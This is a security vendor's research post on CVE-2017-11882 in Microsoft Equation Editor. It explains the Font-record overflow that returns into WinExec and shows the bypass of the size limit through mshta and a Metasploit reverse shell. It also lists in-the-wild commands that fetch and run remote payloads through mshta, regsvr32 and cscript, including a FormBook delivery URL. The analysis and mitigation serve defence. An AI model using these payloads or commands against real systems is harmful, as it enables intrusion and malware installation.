This post is also available in: 日本語 (Japanese)
Recently, Palo Alto Networks Unit 42 vulnerability researchers captured multiple instances of traffic in the wild exploiting CVE-2017-11882, patched by Microsoft on November 14, 2017 as part of the monthly security update process. Exploits for this vulnerability have been released for Metasploit, and multiple security researchers have published articles on specific attacks taking advantage of this vulnerability. In this article, we describe the vulnerability and discuss mechanisms for exploiting it.
Microsoft Equation Editor, which is a Microsoft Office component, contains a stack buffer overflow vulnerability that enables remote code execution on a vulnerable system. The component was compiled on November 9, 2000, over 17 years ago. Without any further recompilation, it was used in all currently upported versions of Microsoft Office. Microsoft Equation Editor is an out-of-process COM server that is hosted by eqnedt32.exe, meaning it runs as it’s own process and can accept commands from other processes.
Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) should protect against such attacks. However, because of the manner in which eqnedt32.exe was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to eqnedt32.exe, unless applied system-wide. This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute an embedded attacker command.
Analysis of Exploit Proof of Concept:
The POC RTF sample we analyze in this section has the following attributes:
and is available on GitHub. Through analysis of the file contents, we can see the object class is Equation.3, which means it is an OLE equation object:
Figure 1 RTF File Contents Showing Class Equation.3
After extracting the object, we can skip OLE, CompObj and ObjInfo streams, and go directly to Equation Native stream:
Figure 2 File Contents showing various Streams
The stream has a header with following structure:
After that we can see the MTEF data, which contains a MTEF header and multiple records. MTEF is a binary equation format used by the equation editor. The header has the general information about the MTEF data:
|Generating Product||1||0x1||Equation Editor|
Table 1METF header
Following the header are some MTEF records. The malicious record that triggers the vulnerability is Font record, which in the sample has the below structure:
|Tag||1||0x8||0x8 denotes Font record|
|Font Name||Variable, NULL terminated||“cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12||Overflow and overwrite return address|
Table 2 Font record
The long font name overflows and causes the code execution. Putting it in the debugger to take a deeper look show us this:
Figure 3 IDA View of the Sample
The vulnerability occurs when EQNEDT32.EXE tries to copy the font name into a locally created buffer. The buffer is only 40 (0x28) bytes, however if the font name is longer than 40 bytes (in this case 48 bytes), the buffer will overflow and EBP as well as the return address will be overwritten. When the function is done executing, the control flow will be taken to the attacker assigned address.
Figure 4 Before Font Name Copy
Figure 5 After Font Name Copy
In this case, the function will return “back” to 0x430c12, which is the address of WinExec, and the argument is the “font name”, also an attacker supplied input:
Figure 6 Debugger View of Returning to WinExec
Then we can see the Windows calculator (calc.exe) opening:
Figure 7 Calc.exe Displayed when the Exploit Completes
Exploit Method Analysis
Next, we show a few ways attackers can exploit this vulnerability. In the proof of concept, the hexadecimal bytes, 636d642e657865202f632063616c632e65786520, are used for the following command: cmd.exe /c calc.exe
When we opened the proof of concept, this executed the Windows calculator and we saw the calculator UI appear. However, there is a limitation with this method, as the buffer can only put so many bytes into the buffer that is overflowing.
Figure 8 IDA View of code copying overflow buffer into v4
The size of an array that the attacker can overflow is 36 bytes (overflow_buffer in the above figure). However, it is possible to use the space of the v12 variable and saved EBP, which allows for an extra 8 bytes of space. If the command we want to issue is longer than the combined 44 bytes available, how could we do that?
One way is to host a file on a server controlled by the attack and use the 44 bytes for a command that accesses that server and executes another binary. For example, the following command uses the mshta executable to run VBscript code from a remote server, as is only 37 characters long (ignoring the de-fanging brackets.)
Below is code the attacker could host on that server, which would accomplish the same goal of executing the windows, but could do much more.
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
Window.ReSizeTo 0, 0
Set objShell = CreateObject("Wscript.Shell")
A similar option is to direct the injected instruction to point to a Metasploit server to give the attacker a reverse shell. In the screenshot below, Metasploit is being configured to host a remote shell on the server 192.168.56.103.
Figure 9 Running the Metasploit server
The command we need to insert into our exploit is just 40 bytes long:
When the victim opens the vile, the Metasploit server delivers the reverse shell and gives the attacker control over the host (see below.)
Figure 10 Metasploit Delivering Payload to Exploited Host
Exploit Samples in the Wild
Since November 20th, we have identified thousands of attempted attacks which exploit this vulnerability in AutoFocus. Most of these use the techniques described above, either by calling cmd.exe directly or by using mshta.exe or cscript.exe to execute a remote script from an attacker controlled server. The table below shows examples of the most common techniques.
IP + remote malicious file
|cmd.exe to call local malicious file
cmd.exe to call remote malicious file
|cmd.exe /c calc.exe
cmd.exe /c start \\\\172.16.38.130\\c$\\1.exe
|cscript.exe||script language + script||cscript.exe to call malicious file||cscript.exe //E:jscript \\\\xxd.cc\\bwou.png|
|mshta.exe||IP + remote malicious file||mshta.exe to call remote malicious file||mshta.exe http://104.254.99[.]77/x.txt
|regsvr32.exe||Installation Flags and remote malicious DLL||regsvr32.exe to call remote malicious DLL||regsvr32 /i:http[:]//1997106195 scrobj.dll &AA
One example of an attack in the wild includes this sample:
This sample was distributed as a fake invoice document attachment in email to organizations in Europe. After the user opened the document it executed the following command:
mshta.exe , mshta https://zilk[.]pw/url/index.hta
The code was hosted (and is no longer available) at this location executed a PowerShell script which in turn would download and executes a file from: hxxps://zilk[.]pw/url/smstrace.exe. This file is a sample of the information stealing Trojan FormBook.
Despite the size limitations on the overflow buffer, many attackers have found ways to exploit this vulnerability to achieve their goals.
Conclusion and Mitigation:
CVE-2017-11882 is in the wild and will likely continue to be exploited for years to come. To remediate this issue, administrators should deploy Microsoft’s patch for this vulnerability, available here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .
Those who can’t deploy the patch should consider disabling the Equation Editor as discussed in Microsoft Knowledge Base Article 4055535.
Palo Alto Networks customers are protected from this vulnerability in the following ways:
- Threat Prevention Signature 36804 identifies files containing the exploit code in the Next Generation Firewall
- WildFire and Traps identify files exploiting this vulnerability as malicious
Suspicious URLs used by Exploit Samples
Get updates from
Sign up to receive the latest news, cyber threat intelligence and research from us